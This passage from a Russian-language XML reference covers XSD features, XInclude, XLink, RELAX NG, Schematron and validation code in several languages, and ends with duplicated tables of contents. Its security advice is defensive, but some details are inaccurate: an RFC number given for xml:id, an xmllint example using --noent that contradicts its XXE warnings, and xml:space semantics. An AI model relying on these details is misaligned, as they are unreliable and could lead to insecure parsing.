restriction	`<xs:restriction base="...">...`	`simpleContent` / `complexContent`	Ужесточение: `<xs:restriction base="xs:positiveInteger"><xs:maxInclusive value="100"/></xs:restriction>`

В complexContent restriction должен сужать модель контента (меньше элементов, строже повторения).

4.6. Глобальные и локальные объявления

Уровень	Элемент	Атрибут	Особенности
Глобальный	`<xs:element name="...">` (прямой потомок `<xs:schema>`)	`<xs:attribute name="...">`	Имеет QName, может быть корневым, переиспользуется через `ref`.
Локальный	`<xs:element ref="...">` или `<xs:element name="...">` внутри `complexType`	аналогично	Не имеет QName; `name` — локальное имя в контексте.

Пример переиспользования:

<xs:element name="name" type="xs:string"/>
<xs:complexType name="Person">
  <xs:sequence>
    <xs:element ref="name"/> <!-- ссылка на глобальный -->
  </xs:sequence>
</xs:complexType>

4.7. Группы и атрибутные группы

4.7.1. Группы элементов (`<xs:group>`)

<xs:group name="AddressFields">
  <xs:sequence>
    <xs:element name="street" type="xs:string"/>
    <xs:element name="city"   type="xs:string"/>
  </xs:sequence>
</xs:group>

<xs:complexType name="Delivery">
  <xs:sequence>
    <xs:group ref="AddressFields"/>
    <xs:element name="zip" type="xs:string"/>
  </xs:sequence>
</xs:complexType>

4.7.2. Атрибутные группы (`<xs:attributeGroup>`)

<xs:attributeGroup name="i18nAttrs">
  <xs:attribute name="lang" type="xs:language" default="en"/>
  <xs:attribute name="dir"  type="xs:string"   default="ltr"/>
</xs:attributeGroup>

<xs:complexType name="Text">
  <xs:simpleContent>
    <xs:extension base="xs:string">
      <xs:attributeGroup ref="i18nAttrs"/>
    </xs:extension>
  </xs:simpleContent>
</xs:complexType>

Преимущества: модульность, уменьшение дублирования, поддержка изменений.

4.8. Уникальность и ссылочная целостность

4.8.1. `xs:unique`

Гарантирует уникальность значений в заданной области.

<xs:element name="catalog">
  <xs:complexType>
    <xs:sequence>
      <xs:element name="product" maxOccurs="unbounded">
        <xs:complexType>
          <xs:attribute name="id" type="xs:ID" use="required"/>
        </xs:complexType>
      </xs:element>
    </xs:sequence>
  </xs:complexType>
  <xs:unique name="uniqueProductId">
    <xs:selector xpath="product"/>
    <xs:field xpath="@id"/>
  </xs:unique>
</xs:element>

4.8.2. `xs:key` и `xs:keyref`

xs:key — как xs:unique, но также позволяет ссылаться через xs:keyref.

<xs:key name="productKey">
  <xs:selector xpath="product"/>
  <xs:field xpath="@id"/>
</xs:key>

<xs:keyref name="orderRef" refer="productKey">
  <xs:selector xpath="order/item"/>
  <xs:field xpath="@productId"/>
</xs:keyref>

Область действия: от текущего элемента вглубь.
XSD 1.1: xpathDefaultNamespace — упрощает XPath для NS.

4.9. Поддержка пространств имён в XSD

Механизм	Описание
`targetNamespace`	Объявляет NS, которому принадлежат глобальные компоненты.
`xmlns:prefix`	Объявление префиксов в `<xs:schema>` для ссылок (`xs:extension base="my:Type"`).
`xs:import`	Импорт компонентов из другого `targetNamespace`. Требует `namespace` и (опционально) `schemaLocation`.
`xs:include`	Включение схемы с тем же `targetNamespace`. Объединяет компоненты.
`xs:redefine` (устарело в XSD 1.1)	Переопределение типов/групп из включённой схемы.

Пример импорта:

<xs:schema targetNamespace="http://example.com/order"
           xmlns:xs="http://www.w3.org/2001/XMLSchema"
           xmlns:prod="http://example.com/product">
  <xs:import namespace="http://example.com/product"
             schemaLocation="product.xsd"/>
  <xs:element name="order">
    <xs:complexType>
      <xs:sequence>
        <xs:element ref="prod:product" maxOccurs="unbounded"/>
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>

4.10. XSD 1.1: ключевые расширения

Фича	Описание
`xs:assert`	Произвольные проверки через XPath 2.0: `<xs:assert test="count(item) = @itemCount"/>`
`xs:openContent`	Разрешить дополнительные элементы в любом месте (аналог JSON `additionalProperties`).
`xs:override`	Безопасная замена компонентов (вместо `xs:redefine`).
`vc:*` (Versioning)	Условная обработка: `<xs:schema vc:minVersion="1.1">...`
Улучшенная поддержка дат	`xs:yearMonthDuration`, `xs:dayTimeDuration` как отдельные типы.

Пример xs:assert:

<xs:complexType name="Range">
  <xs:sequence>
    <xs:element name="min" type="xs:integer"/>
    <xs:element name="max" type="xs:integer"/>
  </xs:sequence>
  <xs:assert test="min le max" 
             xpathDefaultNamespace="##local"/>
</xs:complexType>

📚 Часть 5. Специализированные расширения и смежные технологии

5.1. XInclude (XML Inclusions)

Цель: декларативное включение внешних XML- и текстовых ресурсов на уровне разметки, без DTD.

Спецификация: XInclude 1.0 (W3C Recommendation 21 November 2006)

5.1.1. Синтаксис

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="chapter1.xml" parse="xml"/>
  <xi:include href="license.txt" parse="text" encoding="UTF-8"/>
</root>

Атрибут	Обязательный?	Значения	Описание
`href`	Да	URI	Адрес включаемого ресурса (относительный или абсолютный).
`parse`	Нет	`"xml"` (по умолчанию) \| `"text"`	Как интерпретировать содержимое.
`xpointer`	Нет	XPointer-выражение	Фрагмент XML-документа (только при `parse="xml"`).
`encoding`	Нет	Имя кодировки	Только при `parse="text"` — переопределяет кодировку.
`accept` / `accept-language`	Нет	HTTP-заголовки	Передаются при HTTP-запросе (если поддерживается процессором).

5.1.2. Особенности обработки

После включения выполняется переопределение xml:base: базовый URI становится href (если не указан xml:base явно).
Для parse="xml" — включаемый документ должен быть well-formed (не обязательно валидным).
Для parse="text" — содержимое экранируется как текст (символы <, & не интерпретируются).
Процессор должен рекурсивно обрабатывать xi:include во включённых фрагментах.

5.1.3. Пример с XPointer

<!-- В chapter1.xml: -->
<section id="intro"><title>Intro</title>...</section>

<!-- В основном документе: -->
<xi:include href="chapter1.xml" xpointer="element(intro)"/>
<!-- или -->
<xi:include href="chapter1.xml" xpointer="xpointer(//*[@id='intro'])"/>

Ограничения:

Не все парсеры поддерживают XInclude (в Java — DocumentBuilder нет, XIncludeAwareDocumentBuilderFactory — да; в .NET — XmlReaderSettings.CheckCharacters = false + постпроцессинг).

Использование в production требует контроля источников (риск XXE).

5.2. XLink (XML Linking Language)

Цель: стандартизация гиперссылок и ассоциаций между ресурсами.

Спецификация: XLink 1.1 (W3C Recommendation 6 May 2010)

5.2.1. Два типа ссылок

Тип	Описание	Пример
Simple Link	Однонаправленная ссылка (аналог HTML `<a>`)	`<link xlink:href="doc.pdf" xlink:type="simple">Download</link>`
Extended Link	Многонаправленная, с ролями, дугами (редко используется)	См. ниже

5.2.2. Обязательные атрибуты для Simple Link

<element
  xmlns:xlink="http://www.w3.org/1999/xlink"
  xlink:type="simple"
  xlink:href="URI"
  xlink:show="new|replace|embed|other|none"
  xlink:actuate="onRequest|onLoad|other|none"
/>

Атрибут	Значение по умолчанию	Описание
`xlink:type`	—	Должен быть `"simple"` для simple link.
`xlink:href`	—	URI ресурса.
`xlink:show`	`"replace"`	Поведение при активации: • `"new"` — новое окно/вкладка • `"replace"` — заменить текущий документ • `"embed"` — встроить (например, `<img>`) • `"other"` / `"none"` — приложение определяет
`xlink:actuate`	`"onRequest"`	Когда активировать: • `"onRequest"` — по клику • `"onLoad"` — при загрузке

Примечание:

Для simple link не требуется объявлять элемент в DTD/XSD как часть XLink — достаточно атрибутов.

xlink:title — текстовая подсказка (аналог title в HTML).

5.2.3. Extended Link (теоретически)

<arcset xmlns:xlink="http://www.w3.org/1999/xlink"
        xlink:type="extended">
  <resource xlink:type="resource" xlink:label="r1">Alpha</resource>
  <resource xlink:type="resource" xlink:label="r2">Beta</resource>
  <arc xlink:type="arc" xlink:from="r1" xlink:to="r2"/>
</arcset>

Практически: не поддерживается браузерами, редко используется вне научных систем.

5.3. `xml:id`, `xml:base`, `xml:lang`, `xml:space` — углублённо

5.3.1. `xml:id` (RFC 7936, xml:id 1.0)

Цель: унифицированный, DTD/XSD-независимый способ задания уникального идентификатора.
Требования:
- Значение — NCName.
- Уникальность в пределах всего документа (парсер должен проверять).
- Может использоваться в XPath (//*[@xml:id='x']), XSLT (key()), CSS ([xml|id="x"]).
Преимущество перед ID в DTD: работает без DTD и в XSD (где xs:ID — отдельный тип).

5.3.2. `xml:base` (RFC 3986 + xml:base)

Цель: определение базового URI для разрешения относительных URI в атрибутах (href, src, xlink:href).
Наследование: от родителя к потомку.
Разрешение: по алгоритму RFC 3986, Section 5.

Пример:

<catalog xml:base="https://example.com/data/">
  <item src="img/logo.png"/> <!-- → https://example.com/data/img/logo.png -->
</catalog>

Поддержка: не во всех парсерах; приложения должны явно реализовывать (например, в XSLT — функция resolve-uri()).

5.3.3. `xml:lang`

Строгий формат: BCP 47 (теги вроде en, ru-Latn, zh-Hans-CN).
Пример: xml:lang="en-US" — американский английский; xml:lang="sr-Cyrl-RS" — сербский, кириллица, Сербия.
Используется:
- CSS: :lang(en), *[lang|=en]
- XSL-FO: выбор шрифтов
- Процессоры TTS и локализации

5.3.4. `xml:space`

"default" — whitespace нормализуется (как в значениях атрибутов).
"preserve" — whitespace сохраняется как есть (но \r\n → \n).
Влияет на:
- Текстовые узлы (#text)
- Не влияет на CDATA, комментарии, PI

Пример:

<code xml:space="preserve">
  function f() {
    return x;
  }
</code>

5.4. RELAX NG (ISO/IEC 19757-2)

Цель: компактный, человекочитаемый язык схем с мощной выразительностью (включая unordered content).

Форматы:

XML-синтаксис (.rng)
Компактный синтаксис (.rnc)

5.4.1. Пример (компактный)

namespace local = ""
default namespace = "http://example.com/doc"

start = document

document = element document {
  attribute id { xsd:ID },
  title,
  section*
}

title = element title { text }

section = element section {
  attribute level { "1" | "2" | "3" },
  title,
  (para | list)*
}

para = element para { text }
list = element list { item+ }
item = element item { text }

5.4.2. Преимущества перед XSD

Возможность	RELAX NG	XSD
Неупорядоченное содержимое	`interleave`	Только `xs:all` (ограничен)
Контекстно-зависимые типы	Нет	Нет (XSD 1.1: `xs:alternative`)
Простота синтаксиса	Высокая (`rnc`)	Низкая (много boilerplate)
Поддержка данных	Только структура	Структура + типы (через встроенный XSD Datatypes)

Интеграция: RELAX NG может использовать XSD-типы через datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes".

5.5. Schematron

Цель: валидация бизнес-правил с помощью XPath/XSLT.

Принцип: «утверждения» (assert, report) на основе XPath-выражений.

5.5.1. Пример схемы

<schema xmlns="http://purl.oclc.org/dsdl/schematron"
        queryBinding="xslt2">
  <pattern id="order-rules">
    <rule context="order">
      <assert test="count(item) > 0">
        Order must contain at least one item.
      </assert>
      <assert test="sum(item/@price * item/@qty) = @total">
        Total must equal sum of (price × quantity).
      </assert>
    </rule>
  </pattern>
</schema>

5.5.2. Этапы обработки

Schematron-схема → XSLT-трансформация (компиляция).
XML + XSLT → отчёт о нарушениях (в формате SVRL — Schematron Validation Report Language).

5.5.3. Где применяется

Валидация сложных ограничений, недоступных в XSD/DTD (например, кросс-элементные вычисления).
Проверка соглашений об именовании, стиля.
Интеграция в CI/CD (например, через saxon).

5.6. Другие спецификации (кратко)

Название	URI	Назначение	Статус
XML Signature	`http://www.w3.org/2000/09/xmldsig#`	Цифровая подпись XML-документов или фрагментов	W3C Recommendation
XML Encryption	`http://www.w3.org/2001/04/xmlenc#`	Шифрование элементов/содержимого	W3C Recommendation
Catalogs (OASIS)	`urn:oasis:names:tc:entity:xmlns:xml:catalog`	Сопоставление системных идентификаторов → локальные файлы	Широко используется в Java (`resolver.jar`)
NVDL (Namespace-based Validation Dispatching Language)	ISO/IEC 19757-4	Валидация документа с несколькими NS разными схемами	Редко

📚 Часть 6. Практические инструменты и реализации

6.1. Валидация в .NET (C#)

6.1.1. Базовый парсинг (well-formedness)

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,       // 🔒 защита от XXE
    XmlResolver = null,                           // 🔒 запрет разрешения URI
    ConformanceLevel = ConformanceLevel.Document // строгая проверка
};

using var reader = XmlReader.Create("input.xml", settings);
while (reader.Read()) { /* ... */ } // исключение при нарушении well-formedness

6.1.2. Валидация по XSD

var schemas = new XmlSchemaSet();
schemas.Add("http://example.com/ns", "schema.xsd");

var settings = new XmlReaderSettings
{
    ValidationType = ValidationType.Schema,
    Schemas = schemas,
    ValidationEventHandler = (s, e) => 
        Console.WriteLine($"[Level {e.Severity}] {e.Message}")
};

using var reader = XmlReader.Create("doc.xml", settings);
while (reader.Read()) { } // ValidationEventHandler вызывается при ошибках

Особенности:

Поддержка XSD 1.0 (XSD 1.1 — только через сторонние библиотеки, напр. NXmlSchema).

XmlSchemaSet.Compile() выполняет предварительную компиляцию схемы — ускоряет валидацию.

Для xml:id валидация уникальности не выполняется — нужно доп. проверять.

6.1.3. Генерация классов: `xsd.exe`

xsd.exe schema.xsd /c /namespace:MyApp.Models

→ генерирует schema.cs с [XmlRoot], [XmlElement], [XmlAttribute].

Ограничения:

Не поддерживает XSD 1.1, xs:assert, xs:openContent.

Сложные схемы (рекурсия, xs:choice с одинаковыми именами) могут генерировать неоптимальный код.

6.1.4. LINQ to XML (`XDocument`)

var doc = XDocument.Load("data.xml", LoadOptions.SetLineInfo);

// Проверка well-formedness — исключение при ошибке
// Валидация отдельно через XmlReader + XDocument.ReadFrom()

// Поиск с информацией о строке/столбце:
var bad = doc.Descendants("item")
             .Where(e => (string)e.Attribute("id") == null)
             .Select(e => new { 
                 Line = ((IXmlLineInfo)e).LineNumber,
                 Value = e.Value 
             });

Преимущество: IXmlLineInfo — критично для диагностических инструментов.

6.2. Валидация в Java (JAXP)

6.2.1. Безопасный парсинг (well-formedness)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("input.xml")); // SAXParseException при ошибке

6.2.2. Валидация по XSD

SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = sf.newSchema(new File("schema.xsd"));

Validator validator = schema.newValidator();
validator.setErrorHandler(new ErrorHandler() {
    @Override
    public void error(SAXParseException e) {
        System.out.printf("[Line %d] %s%n", e.getLineNumber(), e.getMessage());
    }
    // fatal / warning — аналогично
});

validator.validate(new StreamSource(new File("doc.xml")));

Поддержка XSD 1.1:

Требуется xercesImpl-2.12.2.jar или saxon-he с SchemaValidator.

Включается через System.setProperty("javax.xml.validation.SchemaFactory:http://www.w3.org/XML/XMLSchema/v1.1", "...").

6.2.3. Streaming (StAX) + валидация

XMLInputFactory factory = XMLInputFactory.newFactory();
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);

XMLStreamReader reader = factory.createXMLStreamReader(new FileInputStream("big.xml"));

// Валидация "на лету" — через `ValidatorHandler` + `StAXSource` (JDK 9+)

Использование: обработка XML >1 ГБ без загрузки в память.

6.2.4. Генерация классов: `xjc` (JAXB)

xjc -d src -p com.example.model schema.xsd

→ генерирует @XmlRootElement, @XmlElement, JAXBContext.

Устаревание: JAXB удалён из JDK ≥11 (требуется jaxb-api, jaxb-impl).

6.3. Валидация в Python

6.3.1. `lxml` (рекомендуется)

from lxml import etree

# Безопасный парсинг
parser = etree.XMLParser(
    no_network=True,
    load_dtd=False,
    dtd_validation=False,
    recover=False          # False → строгая ошибка при нарушении well-formedness
)

tree = etree.parse("doc.xml", parser)

# Валидация по XSD
with open("schema.xsd") as f:
    schema_root = etree.parse(f)
schema = etree.XMLSchema(schema_root)

if not schema.validate(tree):
    for error in schema.error_log:
        print(f"[Line {error.line}] {error.message}")

Преимущества lxml:

Поддержка XInclude, RELAX NG, Schematron (через etree.Schematron).

Высокая производительность (C-биндинги к libxml2/libxslt).

Точный отчёт об ошибках (строка, столбец, XPath).

6.3.2. `xmlschema` (чистый Python, XSD 1.0/1.1)

import xmlschema

schema = xmlschema.XMLSchema11("schema.xsd")  # или XMLSchema для 1.0
errors = list(schema.iter_errors("doc.xml"))
for err in errors:
    print(f"[Path {err.path}] {err.reason}")

Особенности:

Поддержка XSD 1.1 (xs:assert, xs:openContent).

Интеграция с jsonschema (конвертация XSD → JSON Schema).

Подходит для веб-API (Flask/FastAPI валидаторы).

6.3.3. Защита от XXE: `defusedxml`

from defusedxml.ElementTree import parse
tree = parse("untrusted.xml")  # автоматически отключает внешние сущности

Используйте defusedxml вместо стандартного xml.etree при работе с ненадёжными данными.

6.4. CLI-инструменты

Инструмент	Платформа	Возможности	Команда
`xmllint`	Linux/macOS (libxml2)	well-formedness, DTD/XSD-валидация, форматирование, XPath	`xmllint --noent --valid --schema schema.xsd doc.xml`
`saxon`	Java	XSLT 2.0/3.0, XQuery, XSD 1.1, Schematron	`java -jar saxon-he.jar -xsl:check.sch -s:doc.xml -o:report.svrl`
`jing`	Java	RELAX NG (XML/compact), Schematron	`jing schema.rnc doc.xml`
`xmlstarlet`	Linux/macOS	XPath, редактирование, преобразование	`xmlstarlet val -e -d dtd.dtd doc.xml`

6.4.1. Пример: комплексная проверка через `xmllint`

# 1. Проверить well-formedness
xmllint --noout doc.xml || exit 1

# 2. Проверить по DTD (если есть DOCTYPE)
xmllint --valid --noout doc.xml || exit 2

# 3. Проверить по XSD
xmllint --schema schema.xsd --noout doc.xml || exit 3

# 4. Форматирование (pretty-print)
xmllint --format doc.xml > doc-formatted.xml

Опции безопасности:

--nonet — запрет сетевых запросов

--nofixup-base-uris — не обновлять xml:base

--nodtdattr — не добавлять атрибуты из DTD по умолчанию

6.5. Генерация документации и диаграмм

Цель	Инструмент	Выход
Диаграммы структуры	XML Schema Viewer, draw.io + XSD plugin	Дерево элементов, кардинальности
HTML-документация	`xsddoc` (Java), `pyXSD` (Python), `xsd2html2xml` (Node.js)	Описание типов, ограничений, примеров
Таблицы соответствия	Скрипты на XSLT (`xs:schema` → HTML-table)	Сопоставление XML ↔ JSON ↔ БД

Пример XSLT для извлечения структуры:

<xsl:template match="xs:element">
  <tr>
    <td><xsl:value-of select="@name"/></td>
    <td><xsl:value-of select="@type"/></td>
    <td><xsl:value-of select="xs:annotation/xs:documentation"/></td>
  </tr>
  <xsl:apply-templates select="xs:complexType/xs:sequence/xs:element"/>
</xsl:template>

6.6. Отладка и диагностика

Проблема	Инструмент	Метод
Неясная ошибка валидации	`lxml` + `schema.error_log`, `xmllint --debug`	Получить точную позицию и XPath
Конфликт NS	`xmllint --shell`, `xpath`	Выполнить `/*[namespace-uri()='...']`
Неправильное разрешение `xml:base`	Скрипт на XSLT с `base-uri()`	Проверить `base-uri(.)` для каждого элемента
XXE в логах	Логирование `EntityResolver.resolveEntity()`	Перехватить попытки загрузки `file:///`

Совет: используйте xmllint --shell doc.xml, затем команды:

dir — структура

base — текущий xml:base

xpath //item[@id='x'] — выполнить XPath

Справочник по XML​

📚 Часть 1. Синтаксис и структура XML​

1.1. Well-formedness: обязательные условия​

1.2. Правила именования (Name, NCName)​

1.2.1. Name​

1.2.2. NCName (Non-Colonized Name)​

1.2.3. Зарезервированные имена​

1.3. Пролог: XML Declaration и DOCTYPE​

1.3.1. XML Declaration​

1.3.2. Text declaration (для внешних сущностей)​

1.3.3. DOCTYPE Declaration​

1.4. Специальные конструкции​

1.4.1. Встроенные (predefined) сущности​

1.5. Атрибуты: базовые типы по DTD (декларативные, не типы данных в XSD)​

📚 Часть 2. XML Namespaces​

2.1. Основные принципы​

2.2. Объявление пространств имён​

2.2.1. Синтаксис объявления​

2.2.2. Область действия (scope)​

2.3. QName (Qualified Name)​

2.3.1. Ограничения на QName​

2.4. Специальные атрибуты в пространстве xml:​

2.5. xmlns как часть Infoset и PSVI​

2.6. Сравнение XML 1.0 и XML 1.1 в контексте NS​

2.7. Частые ошибки и антипаттерны​

2.8. Рекомендации по проектированию NS​

📚 Часть 3. Document Type Definition (DTD)​

3.1. Структура DTD​

3.2. Объявление элементов: <!ELEMENT>​

3.2.1. contentspec — модели контента​

3.2.2. Группы и квантификаторы (только для element-content)​

3.3. Объявление атрибутов: <!ATTLIST>​

3.3.1. Типы атрибутов (расширение раздела 1.5)​

3.3.2. Значения по умолчанию​

3.4. Объявление сущностей: <!ENTITY>​

3.4.1. Правила подстановки​

3.4.2. Условная обработка в DTD: INCLUDE / IGNORE​

3.5. Объявление нотаций: <!NOTATION>​

3.6. Валидация по DTD: что проверяется​

3.7. Безопасность и ограничения DTD​

3.8. Совместимость с XSD​

📚 Часть 4. XML Schema Definition (XSD)​

4.1. Основные концепции​

4.2. Встроенные простые типы (built-in simple types)​

4.2.1. Примитивные типы (25)​

4.2.2. Производные типы (19)​

4.3. Фасеты (ограничения) для простых типов​

4.4. Определение простых типов: <xs:simpleType>​

4.4.1. Ограничение (restriction)​

4.4.2. Список (list)​

4.4.3. Объединение (union)​

4.5. Определение сложных типов: <xs:complexType>​

4.5.1. Содержимое​

4.5.2. Дочерние конструкции (xs:sequence, xs:choice, xs:all)​

4.5.3. Расширение и ограничение​

4.6. Глобальные и локальные объявления​

4.7. Группы и атрибутные группы​

4.7.1. Группы элементов (<xs:group>)​

4.7.2. Атрибутные группы (<xs:attributeGroup>)​

4.8. Уникальность и ссылочная целостность​

4.8.1. xs:unique​

4.8.2. xs:key и xs:keyref​

4.9. Поддержка пространств имён в XSD​

4.10. XSD 1.1: ключевые расширения​

📚 Часть 5. Специализированные расширения и смежные технологии​

5.1. XInclude (XML Inclusions)​

5.1.1. Синтаксис​

5.1.2. Особенности обработки​

5.1.3. Пример с XPointer​

5.2. XLink (XML Linking Language)​

5.2.1. Два типа ссылок​

5.2.2. Обязательные атрибуты для Simple Link​

5.2.3. Extended Link (теоретически)​

5.3. xml:id, xml:base, xml:lang, xml:space — углублённо​

5.3.1. xml:id (RFC 7936, xml:id 1.0)​

5.3.2. xml:base (RFC 3986 + xml:base)​

5.3.3. xml:lang​

5.3.4. xml:space​

5.4. RELAX NG (ISO/IEC 19757-2)​

5.4.1. Пример (компактный)​

Справочник по XML

📚 Часть 1. Синтаксис и структура XML

1.1. Well-formedness: обязательные условия

1.2. Правила именования (`Name`, `NCName`)

1.2.1. `Name`

1.2.2. `NCName` (Non-Colonized Name)

1.2.3. Зарезервированные имена

1.3. Пролог: XML Declaration и DOCTYPE

1.3.1. XML Declaration

1.3.2. Text declaration (для внешних сущностей)

1.3.3. DOCTYPE Declaration

1.4. Специальные конструкции

1.4.1. Встроенные (predefined) сущности

1.5. Атрибуты: базовые типы по DTD (декларативные, не типы данных в XSD)

📚 Часть 2. XML Namespaces

2.1. Основные принципы

2.2. Объявление пространств имён

2.2.1. Синтаксис объявления

2.2.2. Область действия (scope)

2.3. QName (Qualified Name)

2.3.1. Ограничения на QName

2.4. Специальные атрибуты в пространстве `xml:`

2.5. `xmlns` как часть Infoset и PSVI

2.6. Сравнение XML 1.0 и XML 1.1 в контексте NS

2.7. Частые ошибки и антипаттерны

2.8. Рекомендации по проектированию NS

📚 Часть 3. Document Type Definition (DTD)

3.1. Структура DTD

3.2. Объявление элементов: `<!ELEMENT>`

3.2.1. `contentspec` — модели контента

3.2.2. Группы и квантификаторы (только для element-content)

3.3. Объявление атрибутов: `<!ATTLIST>`

3.3.1. Типы атрибутов (расширение раздела 1.5)

3.3.2. Значения по умолчанию

3.4. Объявление сущностей: `<!ENTITY>`

3.4.1. Правила подстановки

3.4.2. Условная обработка в DTD: `INCLUDE` / `IGNORE`

3.5. Объявление нотаций: `<!NOTATION>`

3.6. Валидация по DTD: что проверяется

3.7. Безопасность и ограничения DTD

3.8. Совместимость с XSD

📚 Часть 4. XML Schema Definition (XSD)

4.1. Основные концепции

4.2. Встроенные простые типы (built-in simple types)

4.2.1. Примитивные типы (25)

4.2.2. Производные типы (19)

4.3. Фасеты (ограничения) для простых типов

4.4. Определение простых типов: `<xs:simpleType>`

4.4.1. Ограничение (restriction)

4.4.2. Список (list)

4.4.3. Объединение (union)

4.5. Определение сложных типов: `<xs:complexType>`

4.5.1. Содержимое

4.5.2. Дочерние конструкции (`xs:sequence`, `xs:choice`, `xs:all`)

4.5.3. Расширение и ограничение

4.6. Глобальные и локальные объявления

4.7. Группы и атрибутные группы

4.7.1. Группы элементов (`<xs:group>`)

4.7.2. Атрибутные группы (`<xs:attributeGroup>`)

4.8. Уникальность и ссылочная целостность

4.8.1. `xs:unique`

4.8.2. `xs:key` и `xs:keyref`

4.9. Поддержка пространств имён в XSD

4.10. XSD 1.1: ключевые расширения

📚 Часть 5. Специализированные расширения и смежные технологии

5.1. XInclude (XML Inclusions)

5.1.1. Синтаксис

5.1.2. Особенности обработки

5.1.3. Пример с XPointer

5.2. XLink (XML Linking Language)

5.2.1. Два типа ссылок

5.2.2. Обязательные атрибуты для Simple Link

5.2.3. Extended Link (теоретически)

5.3. `xml:id`, `xml:base`, `xml:lang`, `xml:space` — углублённо

5.3.1. `xml:id` (RFC 7936, xml:id 1.0)

5.3.2. `xml:base` (RFC 3986 + xml:base)

5.3.3. `xml:lang`

5.3.4. `xml:space`

5.4. RELAX NG (ISO/IEC 19757-2)

5.4.1. Пример (компактный)